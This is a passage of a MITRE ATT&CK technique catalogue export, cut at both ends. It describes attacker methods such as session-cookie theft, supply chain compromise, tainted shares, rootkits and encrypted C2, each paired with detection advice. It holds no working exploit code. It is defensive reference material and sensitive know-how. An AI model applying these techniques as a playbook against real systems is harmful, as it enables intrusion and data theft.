adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Spearphishing via Service", modified:"2019-06-24T11:09:56.191Z", kill_chain_phases:["a0648865-ba20-414d-b545-e16732ccf01b"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", external_references:["caa9729a-0492-4262-8d5e-c5bf5ca3ccce", "7cdbd14f-64cb-455c-a82e-6330b90cbea4"]}}, {_id:1578, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:35.334Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"Packet capture\",\"Netflow/Enclave netflow\",\"Malware reverse engineering\",\"Process use of network\",\"Process monitoring\",\"SSL/TLS inspection\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\\n\\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\\n\\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}", description:"Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Standard Cryptographic Protocol", modified:"2019-07-19T18:55:09.403Z", kill_chain_phases:["eb1ec5a7-c25b-4cb3-81ef-51fc8fce41d1"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", external_references:["32c9c0df-8f47-40c7-a426-eb360d23a1b9", "7420d705-3ecf-47f0-a48c-33783a83c53a", "33d899b2-5f11-45bb-91cc-216415e808cb", "6565b92a-d709-4e4f-868b-0cdcf5b5cdea", "5b77be65-a4f6-47bc-8514-74677faa7bac"]}}, {_id:1585, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:10.728Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Linux\",\"macOS\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"Host network interface\",\"Netflow/Enclave netflow\",\"Network intrusion detection system\",\"Network protocol analysis\",\"Packet capture\",\"Process use of network\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\\n\\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.\",\"x_mitre_contributors\":[\"Ryan Becwar\"]}", description:"Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Standard Non-Application Layer Protocol", modified:"2019-07-18T21:18:02.753Z", kill_chain_phases:["3b6b7fb5-0bac-41bb-b481-adb74e806f4e"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", external_references:["aa00c31a-4d02-4352-8269-7467b07bc06d", "ce725914-76b8-45f9-b230-d1fc3aeb12b8", "7a9a8225-fd6f-478e-a8b6-c18acec92656", "594b8073-79d6-4864-a382-3f6f1973e64c"]}}, {_id:1607, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-10-08T20:04:35.508Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\",\"Office 365\",\"SaaS\"],\"x_mitre_data_sources\":[\"File monitoring\",\"API monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.\",\"x_mitre_contributors\":[\"Microsoft Threat Intelligence Center (MSTIC)\",\"Johann Rehberger\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Mauraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Steal Web Session Cookie", modified:"2019-10-22T19:59:20.282Z", kill_chain_phases:["4555f2be-5463-4765-b3d1-2d397f189f5e"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", external_references:["6c1cffca-1e05-4107-bbf8-eed729030a41", "cab1cd04-3e74-4039-a6bf-92b6595ac27d", "df08c0ea-58fb-43ba-9576-cd81194b7908", "b98df1df-ada4-4f84-87e0-038082aee873", "ce960eee-7d8d-40b4-8f68-d0bbd4e39af2", "f8887e53-2b58-4704-86cf-bfea5d08fd5b"]}}, {_id:1615, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-09T11:51:30.942Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Application logs\",\"File monitoring\"],\"x_mitre_impact_type\":[\"Integrity\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"root\",\"SYSTEM\"]}", description:"Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Stored Data Manipulation", modified:"2019-07-18T18:26:38.092Z", kill_chain_phases:["a3cbc35f-4ccf-4f41-91bc-21e489dddaa7"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", external_references:["5e1675b7-37dd-4f90-b471-c807fb7c9b04", "f7cb95b5-afe8-4081-81c4-70cd035fb68e", "0cf4e0cb-d283-4e81-a3dd-b1fc6c25f3ec"]}}, {_id:1629, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_data_sources\":[\"Web proxy\",\"File monitoring\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.\",\"x_mitre_contributors\":[\"Veeral Patel\"]}", description:"Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. \n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Supply Chain Compromise", modified:"2019-06-21T18:37:11.194Z", kill_chain_phases:["a432c6b2-f773-406c-a3be-2e987142dc9a"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", external_references:["8f12bb74-5834-4c47-b46f-113af8d653dc", "17d0de5a-8ea2-498f-bf37-3959319ddb33", "07da06cb-ed04-463f-b74d-317f9146e8c5", "26d4a7f9-9927-41f1-9a1c-1e700614226a", "df56fae9-401f-4e7e-be25-fce1748648d2", "e3368538-171a-40b7-be0f-33fa0cb45cad", "0d870351-f298-42c2-b666-f7e7a365e537", "7925617d-cd59-49ce-8cd8-5031260a6674", "42f48d5f-f500-461e-889c-1ad042517f30", "a8ee0ce8-aa09-4627-bf2c-7f4f9940510c", "771d11b1-2671-4ac2-84fa-9f37fc7283af"]}}, {_id:1654, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:04.307Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\",\"AWS\",\"GCP\",\"Azure\"],\"x_mitre_data_sources\":[\"Azure activity logs\",\"Stackdriver logs\",\"AWS CloudTrail logs\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\\n\\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.\",\"x_mitre_contributors\":[\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Windows\n\nExample commands and utilities that obtain this information include <code>ver</code>, [Systeminfo](https://attack.mitre.org/software/S0096), and <code>dir</code> within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories.\n\n### Mac\n\nOn Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\n### AWS\n\nIn Amazon Web Services (AWS), the Application Discovery Service may be used by an adversary to identify servers, virtual machines, software, and software dependencies running.(Citation: Amazon System Discovery)\n\n### GCP\n\nOn Google Cloud Platform (GCP) <code>GET /v1beta1/{parent=organizations/*}/assets</code> or <code>POST /v1beta1/{parent=organizations/*}/assets:runDiscovery</code> may be used to list an organizations cloud assets, or perform asset discovery on a cloud environment.(Citation: Google Command Center Dashboard)\n\n### Azure\n\nIn Azure, the API request <code>GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}?api-version=2019-03-01</code> may be used to retrieve information about the model or instance view of a virtual machine.(Citation: Microsoft Virutal Machine API)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"System Information Discovery", modified:"2019-10-10T17:30:17.393Z", kill_chain_phases:["8592efc0-6130-4a46-be8b-1af560886e86"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", external_references:["cdf12759-5683-44ac-8ead-1aadffdcf8d2", "742dea8e-4073-4998-bff3-8785055af6df", "ad7732d0-662b-4b36-8ac4-c3b200de6af9", "820e3c89-430c-4657-b2c0-3c373c094bd6", "acf0541d-a052-42b9-b25d-8c0f1a6d5172"]}}, {_id:1671, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:35.733Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\"]}", description:"### Windows\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Mac\n\nOn Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.\n\n### Linux\n\nOn Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"System Owner/User Discovery", modified:"2019-08-12T19:47:54.288Z", kill_chain_phases:["a8eae2d7-c432-4339-b0ba-5196ddb57618"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", external_references:["0f47ca36-3758-4ef1-a8dd-9e86b0b5f19d", "3366f753-c432-4a92-8a66-fa901a6ddc05"]}}, {_id:1679, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-10-04T20:42:28.541Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Windows event logs\",\"Process command-line parameters\",\"Process monitoring\"],\"x_mitre_impact_type\":[\"Availability\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"root\",\"SYSTEM\"]}", description:"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"System Shutdown/Reboot", modified:"2019-10-09T18:26:25.824Z", kill_chain_phases:["38817ab9-4311-42fe-8821-5426735da675"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", external_references:["de726a32-5b4d-40a5-bc02-09778f22917f", "6078c046-ea2d-4548-a7cb-bd1b971fccc7", "f4b5c950-fc16-4190-bc3d-9a16e41c304d", "74da7ff8-5c9b-4a95-ac53-ded554f505aa"]}}, {_id:1702, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:01.759Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\\n\\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.\",\"x_mitre_contributors\":[\"Michal Dida, ESET\",\"David Routin\"],\"x_mitre_permissions_required\":[\"User\"],\"x_mitre_system_requirements\":[\"Access to shared folders and content with write permissions\"]}", description:"Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1023) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Taint Shared Content", modified:"2019-06-21T17:38:45.290Z", kill_chain_phases:["954f0dcc-30f8-441b-b37c-5a81631bc818"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", external_references:["aa27f41d-44e8-43f5-82d6-e26aeeba3b8c", "4526081d-a4aa-4e75-af4f-488d104dafb5", "92566394-077f-4242-8874-8f48cc7be0bb"]}}, {_id:1339, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"Network intrusion detection system\",\"Network protocol analysis\",\"Process use of network\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\\n\\n[Domain Fronting](https://attack.mitre.org/techniques/T1172) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.\",\"x_mitre_contributors\":[\"Matt Kelly, @breakersall\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Remote Access Tools", modified:"2019-07-18T17:42:08.766Z", kill_chain_phases:["024caa8b-e87d-4590-81d8-ed65acfd025b"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", external_references:["5e705de1-3390-4f67-83c2-6af619a35020", "d3a1fa52-3bce-4a59-9612-4041e2816745", "3d556da9-d1db-4cc2-b311-3d127f1bfd0a", "da1d90c9-d56f-43a5-82a2-2a8489ac51c7"]}}, {_id:1367, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:08.977Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Data loss prevention\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\",\"x_mitre_permissions_required\":[\"User\"],\"x_mitre_system_requirements\":[\"Removable media allowed, Autorun enabled or vulnerability present that allows for code execution\"]}", description:"Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Replication Through Removable Media", modified:"2019-07-18T17:52:28.429Z", kill_chain_phases:["1ee356d0-e6df-4106-a029-a5ebf2c5c79f", "7c41e7c2-0a5c-4e2c-8c9b-9cf69d52dd4c"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", external_references:["3bb8f463-47f5-499e-aaa3-203c9a5700a6"]}}, {_id:1381, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:26.496Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"BIOS\",\"MBR\",\"System calls\"],\"x_mitre_defense_bypassed\":[\"File monitoring\",\"Host intrusion prevention systems\",\"Process whitelisting\",\"Signature-based detection\",\"System access controls\",\"Whitelisting by file name or path\",\"Anti-virus\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\",\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\",\"root\"]}", description:"Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Rootkit", modified:"2019-06-18T13:56:09.440Z", kill_chain_phases:["c80d6a5b-1fd8-46fa-97d0-5cf934c0105c"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", external_references:["6917d4a2-c38c-4c45-aa79-1c436b9f20cb", "65302992-73c1-47ce-82f6-52d9334df411", "2e54672a-5264-474b-af3e-58a3699aace2", "1aa26dae-88c3-49ec-a621-5d4e6b8a049b", "e0e19efc-0b46-4307-a9e0-f3dee40030c9", "4c45130c-afc6-4211-90e8-364b0c3c40cb"]}}, {_id:1409, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Application logs\",\"DLL monitoring\",\"Loaded DLLs\",\"Process monitoring\",\"Windows Registry\",\"Windows event logs\"],\"x_mitre_defense_bypassed\":[\"Application whitelisting\",\"Autoruns Analysis\",\"Digital Certificate Validation\",\"Process whitelisting\",\"User Mode Signature Validation\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\\n\\n* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\OID\\n* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\OID\\n* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n\\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 